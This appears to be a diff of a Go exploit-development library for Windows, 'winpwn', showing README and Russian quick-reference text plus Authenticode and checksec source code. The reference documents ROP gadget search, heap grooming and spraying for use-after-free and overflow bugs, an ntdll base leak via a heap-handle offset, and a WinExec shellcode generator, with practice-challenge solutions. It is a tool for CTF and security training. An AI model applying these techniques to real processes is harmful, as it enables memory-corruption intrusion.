- `_HEAP_USERDATA_HEADER.EncodedOffsets` is obfuscated — calibrate with
|
||||
`CalibrateLFHFirstBlockOffset` against a known address.
|
||||
- `_HEAP_VS_CHUNK_HEADER.Sizes` is XOR-encoded and not decoded in this pass.
|
||||
- NT Heap entry XOR-encoding is decoded transparently by walk functions.
|
||||
- `heap_handle + 0x2c0` stores a pointer within ntdll (observed `ntdll+~0x163d10`
|
||||
on this build) — usable for an ntdll base leak from a heap address.
|
||||
|
||||
### Spray helper (`spray.go`)
|
||||
|
||||
```go
|
||||
older, newer, attempts, ok, err := winpwn.SprayAndFind(
|
||||
seed, // []winpwn.SprayResult[K]{} or pre-seeded with a known target
|
||||
maxAttempts,
|
||||
func(attempt int) (winpwn.SprayResult[K], error) { /* one spray -> (id, leaked value) */ },
|
||||
func(a, b K) bool { /* the relation: equality, "N apart", etc. */ },
|
||||
)
|
||||
```
|
||||
|
||||
Examples 3 (seeded equality) and 4 (no-seed pair search) show both shapes.
|
||||
|
||||
### CLI (`cmd/winpwn`)
|
||||
|
||||
```
|
||||
winpwn checksec target.exe # mitigations + sections + imported DLLs' live base
|
||||
winpwn cyclic 200
|
||||
winpwn cyclic -l aaab
|
||||
winpwn hexdump target.exe
|
||||
winpwn rop target.exe -search "pop rcx ; ret"
|
||||
winpwn rop target.exe -regex "^pop r.* ; ret$"
|
||||
winpwn bytes target.exe ebfe # every VA of a byte pattern; accepts "ebfe", "EB FE", "\xeb\xfe"
|
||||
winpwn disasm target.exe 0x140001538 5
|
||||
winpwn exports target.dll
|
||||
winpwn imports target.exe
|
||||
winpwn hex / winpwn unhex # stdin-piped
|
||||
winpwn heap <pid> # enumerate all heaps in a live process
|
||||
winpwn heap <pid> -walk # also walk NT Heap entries: busy/free counts + adjacent pairs
|
||||
```
|
||||
|
||||
`winpwn rop`/`NewROP` require `rp-win.exe`; a missing tool is a clear error naming
|
||||
the env var to set.
|
||||
|
||||
### cmd/pwninit
|
||||
|
||||
```
|
||||
cd path\to\task_dir
|
||||
copy \path\to\chal.exe .
|
||||
pwninit # auto-detects the lone .exe/.dll
|
||||
```
|
||||
|
||||
Prints recon (arch, checksec, per-section R/W/Offset/entropy, imported DLLs' live
|
||||
base), then writes a `go.mod` (`replace winpwn => <path>`, from `WINPWN_HOME` or
|
||||
`C:\tools\go_pwner`) and a minimal `main.go` (`Spawn` + `Interactive`). Will not
|
||||
overwrite an existing `go.mod`/`main.go` without `-force`.
|
||||
|
||||
`winpwn heap <pid>` output:
|
||||
|
||||
```
|
||||
pid 5160: 3 heap(s)
|
||||
|
||||
[0] 0x0000000000080000 Segment Heap
|
||||
GlobalFlags=0x00000000
|
||||
VS context @ 0x80280: committed=12 free=3 subsegments=1
|
||||
LFH active buckets (total-blocks): [5]=50
|
||||
|
||||
[1] 0x0000000000010000 NT Heap
|
||||
flags=0x00008000 encoding=true front-end=none
|
||||
segments: 2
|
||||
|
||||
[2] 0x00000000001a0000 NT Heap
|
||||
flags=0x00001002 encoding=true front-end=LFH @ 0x8d0000
|
||||
segments: 2
|
||||
entries: total=18 busy=16 free=2 busy_bytes=25467 free_bytes=9360
|
||||
LFH active buckets: [0]=16b [1]=32b [2]=48b ...
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
See [ROADMAP.md](ROADMAP.md) for implementation status and planned work.
|
||||
+395
@@ -0,0 +1,395 @@
|
||||
# winpwn — краткий справочник
|
||||
|
||||
## Установка CLI (winpwn, pwninit)
|
||||
|
||||
```bash
|
||||
cd C:\tools\go_pwner
|
||||
go install ./cmd/winpwn
|
||||
go install ./cmd/pwninit
|
||||
```
|
||||
|
||||
Кладёт `winpwn.exe`/`pwninit.exe` в `%USERPROFILE%\go\bin` (в PATH). После этого
|
||||
`winpwn`/`pwninit` работают из любой директории.
|
||||
|
||||
Если `go build`/`go install`/`go test` внутри `go_pwner\` падают с
|
||||
`directory outside module roots` — `C:\tools\go.work` не перечисляет `./go_pwner`
|
||||
в `use (...)`. Отредактируй файл, не удаляй его (`workspace\` от него зависит).
|
||||
|
||||
Solve-скрипты (`import "winpwn"`) требуют `go.mod` с
|
||||
`replace winpwn => C:/tools/go_pwner` в каждой задаче — Go не видит модуль вне
|
||||
`go.work`/`replace`. `pwninit` генерирует это автоматически (см. ниже).
|
||||
|
||||
## Где писать solve-скрипты
|
||||
|
||||
Не в `go_pwner\` (исходник библиотеки). В `C:\tools\workspace\`:
|
||||
|
||||
```
|
||||
C:\tools\
|
||||
├── go_pwner\ ← библиотека
|
||||
└── workspace\ ← скрипты
|
||||
├── go.mod ← replace winpwn => ../go_pwner
|
||||
└── mytask\
|
||||
├── main.go
|
||||
└── chal.exe
|
||||
```
|
||||
|
||||
```bash
|
||||
cd C:\tools\workspace
|
||||
mkdir mytask && cd mytask
|
||||
copy path\to\chal.exe .
|
||||
# main.go, затем:
|
||||
go run .
|
||||
```
|
||||
|
||||
Шаблон `main.go` — в `workspace\template\main.go`. Задачи и решения — в
|
||||
`workspace\` (бинари, `src\`, solve-скрипты, флаги).
|
||||
|
||||
## CLI — быстрые ответы без скрипта
|
||||
|
||||
```
|
||||
winpwn checksec chal.exe # митигации + секции (VA/Offset/Size/entropy) + импортированные DLL с live base
|
||||
winpwn exports chal.exe # таблица экспортов
|
||||
winpwn imports chal.exe # IAT
|
||||
winpwn rop chal.exe -search "pop rcx ; ret" # поиск гаджетов (ret-, jmp-, call-терминированных)
|
||||
winpwn rop chal.exe -regex "^pop r.* ; ret$"
|
||||
winpwn bytes chal.exe ebfe # все VA байт-паттерна (jmp $ = EB FE); "ebfe"/"EB FE"/"\xeb\xfe"
|
||||
winpwn disasm chal.exe 0x140001538 5 # дизасм N инструкций с адреса
|
||||
winpwn cyclic 200 # de Bruijn паттерн
|
||||
winpwn cyclic -l aaab # оффсет по подстроке
|
||||
winpwn hexdump chal.exe
|
||||
winpwn hex # stdin → hex
|
||||
winpwn unhex # hex → raw bytes
|
||||
winpwn heap <PID> # все кучи в живом процессе
|
||||
winpwn heap <PID> -walk # + обход записей NT Heap
|
||||
```
|
||||
|
||||
Гаджет-поиск (`rop`/`NewROP`) работает через `rp-win.exe` (rp++): по умолчанию
|
||||
`C:\tools\rp-win\rp-win.exe`, переопределяется `RP_WIN_EXE`. Запуск с
|
||||
`--allow-branches` — находит `ret`-терминированные цепочки и JOP-транзит через
|
||||
`jmp reg`/`call reg`.
|
||||
|
||||
### pwninit — начать новую задачу
|
||||
|
||||
```bash
|
||||
cd C:\tools\workspace
|
||||
mkdir mytask && cd mytask
|
||||
copy path\to\chal.exe .
|
||||
pwninit # автоопределяет chal.exe, если он один в директории
|
||||
```
|
||||
|
||||
Печатает recon (arch, checksec, секции R/W/X + Offset + entropy, импортированные
|
||||
DLL с live base), затем пишет `go.mod` (`replace winpwn => ...`, путь из
|
||||
`WINPWN_HOME` или `C:\tools\go_pwner`) и минимальный `main.go` (`Spawn` +
|
||||
`Interactive`). Не перезатирает существующие файлы без `-force`.
|
||||
|
||||
## Tube — I/O с процессом
|
||||
|
||||
```go
|
||||
t, err := winpwn.Spawn("chal.exe") // локальный процесс
|
||||
t, err := winpwn.Remote("host", 1337) // TCP
|
||||
|
||||
t.PID() // PID локального процесса (0 для remote)
|
||||
|
||||
t.Send(data)
|
||||
t.SendLine(data) // + \n
|
||||
t.SendAfter(delim, data)
|
||||
t.SendLineAfter(delim, data)
|
||||
|
||||
data, err := t.Recv(64)
|
||||
data, err := t.RecvUntil(delim) // включая delim
|
||||
data, err := t.RecvLine()
|
||||
data, err := t.RecvRegex(re)
|
||||
|
||||
t.Interactive() // передать stdin/stdout в терминал
|
||||
t.Close()
|
||||
```
|
||||
|
||||
## PE — анализ бинаря
|
||||
|
||||
```go
|
||||
pf, _ := winpwn.OpenPE("chal.exe")
|
||||
defer pf.Close()
|
||||
|
||||
base, _ := pf.ImageBase()
|
||||
entry, _ := pf.EntryPoint()
|
||||
r, _ := pf.Checksec()
|
||||
// r.ASLR, r.DEP, r.CFG, r.SafeSEH, r.GSHeuristic
|
||||
|
||||
winRVA, _ := pf.GetProcAddress("win")
|
||||
winAddr := base + winRVA
|
||||
|
||||
exports, _ := pf.ListExports() // []Export{Name, Ordinal, RVA}
|
||||
imports, _ := pf.ListImports() // []Import{DLL, Name, Ordinal, IATRVA}
|
||||
|
||||
// sec.VirtualAddress (RVA в памяти) и sec.Offset (PointerToRawData, оффсет в
|
||||
// файле) — разные числа, оба нужны
|
||||
for _, sec := range pf.Sections() {
|
||||
_ = sec.VirtualAddress
|
||||
_ = sec.Offset
|
||||
}
|
||||
|
||||
// image base импортированных DLL в этом процессе (LoadLibrary). Системные DLL
|
||||
// рандомизируются раз за перезагрузку, не на процесс — значение верно для любого
|
||||
// процесса до ребута, без запуска таргета.
|
||||
libs, _ := pf.ImportedLibs() // []ImportedLib{Name, Base, Err}
|
||||
|
||||
offsets, _ := pf.SearchBytes([]byte("cmd.exe\x00"))
|
||||
|
||||
// PE из памяти живого процесса
|
||||
memBase, _ := winpwn.ResolveModuleBase(pid, "kernel32.dll")
|
||||
pf2, _ := winpwn.OpenPEFromProcess(pid, memBase)
|
||||
```
|
||||
|
||||
## Символы живого процесса
|
||||
|
||||
Аналог pwntools: `p.libs["kernel32.dll"]` и `p.symbols["kernel32.dll"]["WinExec"]`.
|
||||
|
||||
```go
|
||||
tube, _ := winpwn.Spawn("chal.exe")
|
||||
sym := winpwn.NewProcessSymbols(tube.PID())
|
||||
defer sym.Close()
|
||||
|
||||
// база DLL (p.libs["..."])
|
||||
k32, _ := sym.Base("kernel32.dll")
|
||||
ntdll, _ := sym.Base("ntdll.dll")
|
||||
|
||||
// абсолютный VA экспорта (p.symbols["..."]["..."])
|
||||
winexec, _ := sym.Symbol("kernel32.dll", "WinExec")
|
||||
ntAlloc, _ := sym.Symbol("ntdll.dll", "NtAllocateVirtualMemory")
|
||||
|
||||
// все загруженные модули (p.libs целиком)
|
||||
mods, _ := sym.Modules() // map[string]uint64
|
||||
|
||||
// все экспорты одной DLL
|
||||
all, _ := sym.AllSymbols("kernel32.dll") // map[string]uint64
|
||||
|
||||
// один вызов без struct
|
||||
va, _ := winpwn.SymbolVA(pid, "kernel32.dll", "WinExec")
|
||||
libs, _ := winpwn.ListLoadedModules(pid) // map[string]uintptr
|
||||
```
|
||||
|
||||
`ProcessSymbols` кеширует PEFile на DLL — повторные `Symbol` для одной DLL не
|
||||
переоткрывают файл.
|
||||
|
||||
## ROP
|
||||
|
||||
Бэкенд — `rp-win.exe` (по умолчанию `C:\tools\rp-win\rp-win.exe`, переопределяется
|
||||
через `RP_WIN_EXE`). `NewROPExternal(path, toolPath)` — явный путь до другого
|
||||
билда rp++.
|
||||
|
||||
```go
|
||||
rop, _ := winpwn.NewROP("chal.exe")
|
||||
defer rop.Close()
|
||||
|
||||
// find["pop rcx ; ret"][0] в pwntools-стиле: одно выражение. Ранжировано так,
|
||||
// что [0] — самый чистый вариант (точное совпадение и более короткие инструкции
|
||||
// приоритетнее гаджета с той же подстрокой по меньшему адресу с мусорным
|
||||
// префиксом вроде "ror ... ; pop rcx ; ret").
|
||||
addr := rop.Find("pop rcx ; ret")[0].Address
|
||||
|
||||
gadgets, _ := rop.Search("pop rcx ; ret") // тот же поиск, (results, error)
|
||||
gadgets, _ := rop.SearchRegex(`^pop r\w+ ; ret$`)
|
||||
lines, _ := rop.Disassemble(gadgets[0].Address, 3) // ["pop rcx", "ret"]
|
||||
```
|
||||
|
||||
## Packing
|
||||
|
||||
```go
|
||||
winpwn.P64(addr) // uint64 → []byte LE
|
||||
winpwn.P32(addr)
|
||||
winpwn.P16(addr)
|
||||
winpwn.U64(buf) // []byte LE → uint64
|
||||
winpwn.U32(buf)
|
||||
|
||||
winpwn.Enhex(data) // []byte → "aabbcc..."
|
||||
winpwn.Unhex(hexstr) // "aabbcc..." → []byte, error
|
||||
winpwn.Xor(data, key) // XOR, ключ циклится
|
||||
winpwn.Hexdump(data) // hex+ASCII дамп, строка
|
||||
```
|
||||
|
||||
## Cyclic patterns
|
||||
|
||||
```go
|
||||
pattern := winpwn.Cyclic(200) // de Bruijn n=4
|
||||
pattern8 := winpwn.CyclicN(200, 8) // n=8 для 64-битных указателей
|
||||
|
||||
offset := winpwn.CyclicFind(crashedRIPBytes)
|
||||
offset8 := winpwn.CyclicFindN(crashedRIPBytes, 8)
|
||||
```
|
||||
|
||||
## Heap API
|
||||
|
||||
Все функции работают с любым `io.ReaderAt` (`*ProcessMemory`, `*Debugger`, буфер
|
||||
в тесте). Только `ListProcessHeaps` требует живой процесс.
|
||||
|
||||
### Найти кучи
|
||||
|
||||
```go
|
||||
heaps, _ := winpwn.ListProcessHeaps(pid) // читает PEB.ProcessHeaps
|
||||
mem, _ := winpwn.OpenProcessMemory(pid, 0)
|
||||
kind, _ := winpwn.DetectHeapKind(mem, heapAddr) // HeapKindNT / HeapKindSegment
|
||||
```
|
||||
|
||||
### NT Heap
|
||||
|
||||
```go
|
||||
h, _ := winpwn.ReadHeap(mem, heapAddr)
|
||||
// h.Flags, h.FrontEndHeapType, h.FrontEndHeap, h.EncodingActive()
|
||||
|
||||
entries, _ := h.WalkAllHeapEntries(mem) // все сегменты
|
||||
entries, _ := h.WalkSegment0(mem) // только Segment0
|
||||
|
||||
// Поля записи
|
||||
e.Addr; e.BlockSize(); e.UserSize(); e.UserData()
|
||||
e.Busy(); e.LastEntry()
|
||||
|
||||
// Анализ
|
||||
stats := winpwn.SummariseEntries(entries)
|
||||
// stats.BusyEntries, stats.FreeEntries, stats.BusyBytes, stats.FreeBytes
|
||||
pairs := winpwn.AdjacentBusyPairs(entries) // [][2]HeapEntry — смежные busy записи
|
||||
hits := winpwn.EntriesWithUserData(entries, leakedAddr) // обратный поиск по адресу
|
||||
```
|
||||
|
||||
### NT Heap LFH
|
||||
|
||||
```go
|
||||
buckets, _ := winpwn.ReadLFHBuckets(mem, h.FrontEndHeap)
|
||||
bucket, _ := winpwn.FindLFHBucket(buckets, 32)
|
||||
// ищет BlockSize >= 32+16 (LFH блоки включают 16-байтный заголовок)
|
||||
|
||||
subsegAddr, _ := winpwn.ActiveSubsegment(mem, h.FrontEndHeap, bucket.Index)
|
||||
subseg, _ := winpwn.ReadLFHSubsegment(mem, subsegAddr)
|
||||
// subseg.BlockSize, subseg.BlockCount
|
||||
// subseg.Busy — []bool, Busy[i] == true → слот занят
|
||||
|
||||
// Адрес слота по индексу — нужен один известный адрес для калибровки
|
||||
off := winpwn.CalibrateLFHFirstBlockOffset(subseg, knownAddr)
|
||||
addr := subseg.BlockAddress(off, i)
|
||||
idx, ok := subseg.SlotOf(off, knownAddr)
|
||||
```
|
||||
|
||||
Build 10.0.26100:
|
||||
- LFH активируется на бакет после ≈19 аллокаций одного размера.
|
||||
- `_HEAP_USERDATA_HEADER.EncodedOffsets` зашифрован — используй калибровку.
|
||||
- XOR-ключ LFH-блоков не восстановлен (нужен отдельный проход).
|
||||
|
||||
### Segment Heap
|
||||
|
||||
```go
|
||||
sh, _ := winpwn.ReadSegmentHeap(mem, heapAddr)
|
||||
// sh.VS.CommittedUnits, sh.VS.FreeUnits, sh.VS.SubsegmentCount
|
||||
// sh.LFH.ActiveBuckets — []SegmentLFHBucket{Index, TotalBlockCount}
|
||||
|
||||
// Смежная пара из набора утечённых адресов (без парсинга заголовков)
|
||||
lo, hi, found := winpwn.FindAdjacentPair(addrs, 32) // первая пара
|
||||
pairs := winpwn.AdjacentAddressPairs(addrs, 32) // все пары
|
||||
```
|
||||
|
||||
`heap_handle + 0x2c0` → адрес внутри ntdll (build 10.0.26100). Leak ntdll base из
|
||||
утечённого адреса кучи.
|
||||
|
||||
### Обход памяти процесса
|
||||
|
||||
```go
|
||||
mem, _ := winpwn.OpenProcessMemory(pid, 0)
|
||||
defer mem.Close()
|
||||
|
||||
n, err := mem.ReadAt(buf, int64(addr))
|
||||
n, err := mem.WriteAt(data, int64(addr))
|
||||
```
|
||||
|
||||
## Debugger
|
||||
|
||||
```go
|
||||
tube, pid, _ := winpwn.SpawnSuspended("chal.exe")
|
||||
dbg, _ := winpwn.Attach(pid) // до ResumeMainThread
|
||||
winpwn.ResumeMainThread(pid)
|
||||
|
||||
for ev := range dbg.Events() {
|
||||
// ev.Kind: EventBreakpoint, EventException, EventCreateProcess,
|
||||
// EventLoadDll, EventExitProcess, ...
|
||||
if ev.Kind == winpwn.EventBreakpoint {
|
||||
regs, _ := dbg.GetContext(ev.ThreadID)
|
||||
fmt.Printf("RIP=0x%x RSP=0x%x\n", regs.Rip, regs.Rsp)
|
||||
}
|
||||
dbg.Continue(ev) // обязательно для каждого события
|
||||
}
|
||||
|
||||
dbg.SetBreakpoint(addr)
|
||||
dbg.RemoveBreakpoint(addr)
|
||||
dbg.ReadMemory(addr, 32)
|
||||
dbg.WriteMemory(addr, data)
|
||||
dbg.Close() // detach без убийства процесса
|
||||
```
|
||||
|
||||
## SprayAndFind — примитив для heap grooming
|
||||
|
||||
```go
|
||||
older, newer, attempts, ok, err := winpwn.SprayAndFind(
|
||||
seed, // []winpwn.SprayResult[K] — известные цели, или nil
|
||||
maxAttempts,
|
||||
func(attempt int) (winpwn.SprayResult[K], error) {
|
||||
// один шаг спрея — вернуть (id, утечённое значение)
|
||||
},
|
||||
func(a, b K) bool {
|
||||
// условие совпадения: равенство, расстояние, что угодно
|
||||
},
|
||||
)
|
||||
```
|
||||
|
||||
UAF (равенство адресов):
|
||||
|
||||
```go
|
||||
winpwn.SprayAndFind(
|
||||
[]winpwn.SprayResult[uint64]{{ID: victimID, Key: victimAddr}},
|
||||
64,
|
||||
func(i int) (winpwn.SprayResult[uint64], error) { /* один B-буфер */ },
|
||||
func(a, b uint64) bool { return a == b },
|
||||
)
|
||||
```
|
||||
|
||||
Heap overflow (смежность, расстояние ровно 32):
|
||||
|
||||
```go
|
||||
winpwn.SprayAndFind(nil, 20,
|
||||
func(i int) (winpwn.SprayResult[uint64], error) { /* один A-объект */ },
|
||||
func(x, y uint64) bool { d := int64(y)-int64(x); return d == 32 || d == -32 },
|
||||
)
|
||||
```
|
||||
|
||||
## Shellcode
|
||||
|
||||
```go
|
||||
code, _ := winpwn.ShellcodeWinExec("calc.exe") // PIC x64, находит kernel32 через PEB
|
||||
winpwn.ExecuteShellcode(code) // запустить локально для проверки
|
||||
```
|
||||
|
||||
## Minidump
|
||||
|
||||
```go
|
||||
m, _ := winpwn.OpenMinidump("crash.dmp")
|
||||
defer m.Close()
|
||||
|
||||
mods, _ := m.Modules()
|
||||
exc, _ := m.Exception() // ExceptionCode, ExceptionAddress
|
||||
raw, _ := m.RawStream(winpwn.StreamSystemInfo)
|
||||
```
|
||||
|
||||
## Примеры задач (с решениями)
|
||||
|
||||
| Задача | Техника | ASLR | Файл |
|
||||
|--------|---------|------|------|
|
||||
| `task1_leak` | info leak + redirect | Нет | `workspace/task1_leak/` |
|
||||
| `task2_rop` | buffer overflow + ROP + DEP | Нет | `workspace/task2_rop/` |
|
||||
| `task3_fmtstr` | format string | Нет | `workspace/task3_fmtstr/` |
|
||||
| `bof_basic` | stack overflow | Нет | `workspace/bof_basic/` |
|
||||
| `heap_lfh` | UAF + LFH grooming | Нет | `workspace/heap_lfh/` |
|
||||
| `heap_segment` | overflow + Segment Heap | Нет | `workspace/heap_segment/` |
|
||||
| `heap_typemix` | UAF type confusion, без LFH | Нет | `workspace/heap_typemix/` |
|
||||
| `heap_overflow` | adjacent chunk overflow, NT Heap | Нет | `workspace/heap_overflow/` |
|
||||
| `heap_info_leak` | OOB read → утечка адреса → UAF | **Да** | `workspace/heap_info_leak/` |
|
||||
|
||||
```bash
|
||||
cd C:\tools\workspace\heap_lfh
|
||||
go run .
|
||||
```
|
||||
@@ -0,0 +1,13 @@
|
||||
//go:build !windows
|
||||
|
||||
package winpwn
|
||||
|
||||
import "errors"
|
||||
|
||||
// VerifyAuthenticodeSignature is only available when winpwn is built for
|
||||
// Windows (it shells out to wintrust.dll via WinVerifyTrust). Use
|
||||
// CheckSecResult.AuthenticodeSigned for the cross-platform presence-only
|
||||
// check.
|
||||
func VerifyAuthenticodeSignature(path string) (bool, error) {
|
||||
return false, errors.New("VerifyAuthenticodeSignature requires GOOS=windows")
|
||||
}
|
||||
@@ -0,0 +1,125 @@
|
||||
//go:build windows
|
||||
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// guid mirrors the Win32 GUID struct layout.
|
||||
type guid struct {
|
||||
Data1 uint32
|
||||
Data2 uint16
|
||||
Data3 uint16
|
||||
Data4 [8]byte
|
||||
}
|
||||
|
||||
// WINTRUST_ACTION_GENERIC_VERIFY_V2, from wintrust.h.
|
||||
var wintrustActionGenericVerifyV2 = guid{
|
||||
Data1: 0x00aac56b,
|
||||
Data2: 0xcd44,
|
||||
Data3: 0x11d0,
|
||||
Data4: [8]byte{0x8c, 0xc2, 0x00, 0xc0, 0x4f, 0xc2, 0x95, 0xee},
|
||||
}
|
||||
|
||||
// wintrustFileInfo mirrors WINTRUST_FILE_INFO (wintrust.h).
|
||||
type wintrustFileInfo struct {
|
||||
CbStruct uint32
|
||||
PcwszFilePath *uint16
|
||||
HFile windows.Handle
|
||||
PgKnownSubject *guid
|
||||
}
|
||||
|
||||
// wintrustData mirrors WINTRUST_DATA (wintrust.h). The struct is normally a
|
||||
// union of pFile/pCatalog/pBlob/pSgnr/pCert at the PFile position; we only
|
||||
// ever populate the file-info variant.
|
||||
type wintrustData struct {
|
||||
CbStruct uint32
|
||||
PPolicyCallbackData uintptr
|
||||
PSIPClientData uintptr
|
||||
DwUIChoice uint32
|
||||
FdwRevocationChecks uint32
|
||||
DwUnionChoice uint32
|
||||
PFile *wintrustFileInfo
|
||||
DwStateAction uint32
|
||||
HWVTStateData windows.Handle
|
||||
PwszURLReference *uint16
|
||||
DwProvFlags uint32
|
||||
DwUIContext uint32
|
||||
PSignatureSettings uintptr
|
||||
}
|
||||
|
||||
const (
|
||||
wtdUINone = 2
|
||||
wtdRevokeNone = 0
|
||||
wtdChoiceFile = 1
|
||||
|
||||
wtdStateActionVerify = 1
|
||||
wtdStateActionClose = 2
|
||||
|
||||
wtdSaferFlag = 0x00000100
|
||||
wtdCacheOnlyURLRetrieval = 0x00001000
|
||||
wtdDisableMD2MD4 = 0x00002000
|
||||
)
|
||||
|
||||
var (
|
||||
modWintrust = windows.NewLazySystemDLL("wintrust.dll")
|
||||
procWinVerifyTrust = modWintrust.NewProc("WinVerifyTrust")
|
||||
)
|
||||
|
||||
// VerifyAuthenticodeSignature asks the OS to validate the Authenticode
|
||||
// signature on path via WinVerifyTrust — a real cryptographic chain/hash
|
||||
// check, unlike CheckSecResult.AuthenticodeSigned which only checks whether
|
||||
// a signature directory is present in the PE at all. Revocation checking is
|
||||
// disabled, so this makes no network calls; it verifies the embedded
|
||||
// certificate chain and file hash only.
|
||||
//
|
||||
// Most Windows system binaries (System32) are catalog-signed (.cat files)
|
||||
// rather than embedded-signed and will report TRUST_E_NOSIGNATURE here even
|
||||
// though Windows itself trusts them — this function only validates an
|
||||
// Authenticode signature embedded directly in the PE.
|
||||
func VerifyAuthenticodeSignature(path string) (bool, error) {
|
||||
pathPtr, err := windows.UTF16PtrFromString(path)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
fileInfo := wintrustFileInfo{
|
||||
CbStruct: uint32(unsafe.Sizeof(wintrustFileInfo{})),
|
||||
PcwszFilePath: pathPtr,
|
||||
}
|
||||
|
||||
data := wintrustData{
|
||||
CbStruct: uint32(unsafe.Sizeof(wintrustData{})),
|
||||
DwUIChoice: wtdUINone,
|
||||
FdwRevocationChecks: wtdRevokeNone,
|
||||
DwUnionChoice: wtdChoiceFile,
|
||||
PFile: &fileInfo,
|
||||
DwStateAction: wtdStateActionVerify,
|
||||
DwProvFlags: wtdSaferFlag | wtdCacheOnlyURLRetrieval | wtdDisableMD2MD4,
|
||||
}
|
||||
|
||||
ret, _, _ := procWinVerifyTrust.Call(
|
||||
0, // hwnd: NULL, dwUIChoice already suppresses any UI
|
||||
uintptr(unsafe.Pointer(&wintrustActionGenericVerifyV2)),
|
||||
uintptr(unsafe.Pointer(&data)),
|
||||
)
|
||||
status := uint32(ret)
|
||||
|
||||
// WinVerifyTrust requires releasing the verification state it allocated,
|
||||
// regardless of the outcome above.
|
||||
data.DwStateAction = wtdStateActionClose
|
||||
procWinVerifyTrust.Call(
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&wintrustActionGenericVerifyV2)),
|
||||
uintptr(unsafe.Pointer(&data)),
|
||||
)
|
||||
|
||||
if status != 0 {
|
||||
return false, fmt.Errorf("WinVerifyTrust: signature not valid (status 0x%X)", status)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
+226
@@ -0,0 +1,226 @@
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// DllCharacteristics bits (winnt.h IMAGE_DLLCHARACTERISTICS_*).
|
||||
const (
|
||||
dllCharHighEntropyVA = 0x0020
|
||||
dllCharDynamicBase = 0x0040 // ASLR
|
||||
dllCharForceIntegrity = 0x0080
|
||||
dllCharNXCompat = 0x0100 // DEP
|
||||
dllCharNoIsolation = 0x0200
|
||||
dllCharNoSEH = 0x0400
|
||||
dllCharAppContainer = 0x1000
|
||||
dllCharGuardCF = 0x4000 // CFG
|
||||
)
|
||||
|
||||
// Data directory indices (winnt.h IMAGE_DIRECTORY_ENTRY_*).
|
||||
const (
|
||||
dirEntrySecurity = 4 // Authenticode; VirtualAddress here is a *file offset*, not an RVA.
|
||||
dirEntryLoadConfig = 10
|
||||
dirEntryComDescriptor = 14 // .NET CLR header
|
||||
)
|
||||
|
||||
// IMAGE_GUARD_CF_INSTRUMENTED, from the GuardFlags field of the Load Config
|
||||
// Directory: set when the binary actually has CFG checks emitted, as
|
||||
// opposed to just the (necessary but not sufficient) DllCharacteristics bit.
|
||||
const imageGuardCFInstrumented = 0x00000100
|
||||
|
||||
// CheckSecResult mirrors pwntools'/checksec's binary protection summary,
|
||||
// adapted to the mitigations that actually exist on PE/Windows.
|
||||
type CheckSecResult struct {
|
||||
Is64Bit bool
|
||||
|
||||
ASLR bool // IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
|
||||
HighEntropyVA bool // IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA (64-bit ASLR range)
|
||||
DEP bool // IMAGE_DLLCHARACTERISTICS_NX_COMPAT
|
||||
CFG bool // Control Flow Guard
|
||||
ForceIntegrity bool
|
||||
IsolationAware bool
|
||||
AppContainer bool
|
||||
DotNET bool // has a CLR/COM descriptor header, i.e. is a managed binary
|
||||
|
||||
// SEH/SafeSEH only mean anything for 32-bit PE32 images: x64 uses
|
||||
// table-based structured exception handling and isn't subject to the
|
||||
// classic SEH-chain-overwrite technique at all.
|
||||
SEHApplicable bool
|
||||
HasSEH bool // false if compiled with the /SAFESEH-equivalent IMAGE_DLLCHARACTERISTICS_NO_SEH
|
||||
SafeSEH bool // SEHandlerTable present in Load Config
|
||||
|
||||
GSHeuristic bool // SecurityCookie present in Load Config (best-effort, see Checksec doc comment)
|
||||
|
||||
AuthenticodeSigned bool // IMAGE_DIRECTORY_ENTRY_SECURITY present (presence only, not cryptographically verified)
|
||||
}
|
||||
|
||||
// Checksec inspects compile-time/link-time exploit mitigations, the Go
|
||||
// analogue of pwntools'/winchecksec's binary checksec report.
|
||||
//
|
||||
// GSHeuristic is exactly that: a heuristic. Unlike ASLR/DEP/CFG which are
|
||||
// global, unambiguous flags, /GS stack-cookie insertion is decided by the
|
||||
// compiler per function. The presence of a non-zero SecurityCookie slot in
|
||||
// the Load Config Directory only tells you the binary *could* use stack
|
||||
// cookies, not that the specific function you're exploiting does — verify
|
||||
// against the actual disassembly before relying on it.
|
||||
func (p *PEFile) Checksec() (*CheckSecResult, error) {
|
||||
h, err := p.header()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
r := &CheckSecResult{
|
||||
Is64Bit: h.is64,
|
||||
ASLR: h.dllCharacteristics&dllCharDynamicBase != 0,
|
||||
HighEntropyVA: h.dllCharacteristics&dllCharHighEntropyVA != 0,
|
||||
DEP: h.dllCharacteristics&dllCharNXCompat != 0,
|
||||
CFG: h.dllCharacteristics&dllCharGuardCF != 0,
|
||||
ForceIntegrity: h.dllCharacteristics&dllCharForceIntegrity != 0,
|
||||
IsolationAware: h.dllCharacteristics&dllCharNoIsolation == 0,
|
||||
AppContainer: h.dllCharacteristics&dllCharAppContainer != 0,
|
||||
SEHApplicable: !h.is64,
|
||||
HasSEH: h.dllCharacteristics&dllCharNoSEH == 0,
|
||||
}
|
||||
|
||||
r.DotNET = h.dataDirectory[dirEntryComDescriptor].VirtualAddress != 0
|
||||
r.AuthenticodeSigned = h.dataDirectory[dirEntrySecurity].VirtualAddress != 0
|
||||
|
||||
lc, err := p.readLoadConfig(h)
|
||||
if err == nil && lc != nil {
|
||||
r.SafeSEH = !h.is64 && lc.sehHandlerTable != 0
|
||||
r.GSHeuristic = lc.securityCookie != 0
|
||||
// Corroborate the DllCharacteristics CFG bit with the GuardFlags
|
||||
// instrumentation bit when we have a Load Config to check it against.
|
||||
r.CFG = r.CFG && lc.guardFlags&imageGuardCFInstrumented != 0
|
||||
}
|
||||
|
||||
return r, nil
|
||||
}
|
||||
|
||||
// loadConfig64/loadConfig32 mirror winnt.h's IMAGE_LOAD_CONFIG_DIRECTORY64/32:
|
||||
// same field order in both, only pointer-sized members change width. Named
|
||||
// (not anonymous) so unsafe.Offsetof can validate against each directory's
|
||||
